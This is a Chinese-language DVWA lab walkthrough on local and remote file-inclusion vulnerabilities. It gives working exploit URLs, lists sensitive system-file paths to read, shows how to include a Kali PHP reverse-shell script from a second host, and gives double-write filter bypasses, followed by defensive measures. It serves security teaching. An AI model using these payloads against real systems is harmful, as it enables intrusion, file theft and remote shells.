DVWA---文件包含
文件包含定義
開發人員將相同的函數寫入單獨文件中,需要使用某個函數時直接調用此文件,無需再次編寫,這種文件調用的過程稱文件包含
文件包含漏洞定義
文件包含漏洞是指當服務器開啟allow_url_include選項時,就可以通過php的某些特性函數(include(),require()和include_once(),require_once())利用url去動態包含文件,此時如果沒有對文件來源進行嚴格審查,就會導致任意文件讀取或者任意命令執行。文件包含漏洞分為本地文件包含漏洞與遠程文件包含漏洞,遠程文件包含漏洞是因為開啟了php配置中的allow_url_fopen選項(選項開啟之后,服務期允許包含一個遠程文件)
本地文件包含
本地包含文件就是通過瀏覽器包含web服務器上的文件,這種漏洞是因為瀏覽器包含文件時沒有進行嚴格的過濾允許遍歷目錄的字符注入瀏覽器并執行;
遠程文件包含
遠程文件包含就是允許攻擊者包含一個遠程的文件,一般是在遠程服務器上預先設置好腳本。此漏洞是因為瀏覽器對用戶的輸入沒有進行檢查,導致不同程度的信息泄露、拒絕服務攻擊,甚至在目標服務器上執行代碼;
文件包含與目錄遍歷的區別
(1)目錄遍歷根源在于對路徑的訪問權限設置不嚴格,針對于本系統。
(2)文件包含是利用函數來包含web目錄以外的文件并執行;
文件包含函數
php中文件包含函數
require:找不到被包含的文件,報錯,并且停止運行腳本
include:找不到被包含的文件,只會報錯,但會繼續運行腳本
require_once:與require類似,區別在于當重復調用同一文件時,程序只調用一次
include_once:與include類似,區別在于當重復調用同一文件時,程序只調用一次
文件包含的特征
URL欄中有以下內容則可能存在文件包含
?page=
?file=
?home=
DVWA實現文件包含前提
dvwa->打開配置文件->php-ini 查找allow_url_fopen(遠程文件包含)、allow_url_include(本地文件包含)均將off改為on
實現過程
LOW級別
源碼
可見獲取了page后的參數,之間交給文件包含函數進行執行
- Windows常見的敏感信息路徑
系統版本:C:\boot.ini
IIS配置文件:C:\windows\system32\inetsrv\MetaBase.xml
存儲Windows系統初次安裝的密碼:C:\windows\repair\sam
查看php配置信息:C:\windows\php.ini - Linux常見的敏感信息路徑
系統用戶信息:/etc/passwd
DNS配置文件:/etc/resolv.conf
ssh生成文件:/root/.ssh/known_hosts
網絡配置文件:/etc/network/interfaces
本地文件包含
(1)查看 C:\phpStudy\PHPTutorial\WWW\phpinfo.php
http://192.168.254.128/dvwa/vulnerabilities/fi/?page=C:/phpStudy/PHPTutorial/WWW/phpinfo.php
(2)在03服務器中新建1.txt (復制phpinfo.php中內容),查看C:\phpStudy\PHPTutorial\WWW\1.txt 照樣執行
對于PHP環境,被包含的文件會優先被當作php文件進行解析,如果被包含的文件中存在php代碼,那么就會按照php類型執行該文件中的php代碼;如果不包含php代碼,則會將其中的內容全部原樣打印處理。
遠程文件包含
實驗場景
A:存儲腳本的主機,即為受害者主機(kali 192.168.254.129)
B:存在文件包含漏洞的瀏覽器(win10)
C:遠程連接的主機,獲取反彈shell的主機【即腳本里指定的連接主機】(kali192.168.254.129)
實驗原理
A主機中存在反彈shell腳本,其中指定連接到主機C,主機B遠程包含反彈shell腳本,交由A執行;A執行腳本后,C便可獲取A的反彈shell;一般情況下文件包含與文件上傳聯合使用;
實現過程
Kali的反彈腳本:/usr/share/webshells/php/php-reverse-shell.php
將其改名為getshell.php 并復制到/var/www/html下;
修改要連接的主機IP(KALI)以及端口
打開apache
dvwa執行文件包含漏洞,C主機開始監聽
http://192.168.254.128/dvwa/vulnerabilities/fi/?page=http://192.168.254.129/getshell.php
提權成功
medium級別
源碼
使用str_replace函數進行替換,可以通過雙寫進行繞過
解決辦法
http:// —> htthttp://p://
…/(回到上一層) —> …/./
…\ (回到上一層) —> ….
實驗過程
http://192.168.254.128/dvwa/vulnerabilities/fi/?page=…/./…/./…/./1.txt
high級別
源碼
使用fnmatch()確保$file是以file開頭
解決辦法
file:///c:\phpStudy\PHPTutorial\WWW\1.txt;此時無法再利用遠程文件包含,只可使用本地文件包含,若想執行遠程代碼,需要配合文件上傳漏洞利用。
http://192.168.254.128/dvwa/vulnerabilities/fi/?page=file:///c:\phpStudy\PHPTutorial\WWW\1.txt
impossible級別
基于白名單進行防御,確保page參數傳遞的只能是固定的文件名;
常見的防范措施
1、過濾各種…/,http://,https://
2、配置php.ini配置文件(allow_url_fopen=off、allow_url_include=off)
3、基于白名單進行防御
嗯嗯~~就這么多了
總結
以上是生活随笔為你收集整理的DVWA---文件包含的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: WINDOWS基础 ---- 系统目录
- 下一篇: DVWA--文件上传漏洞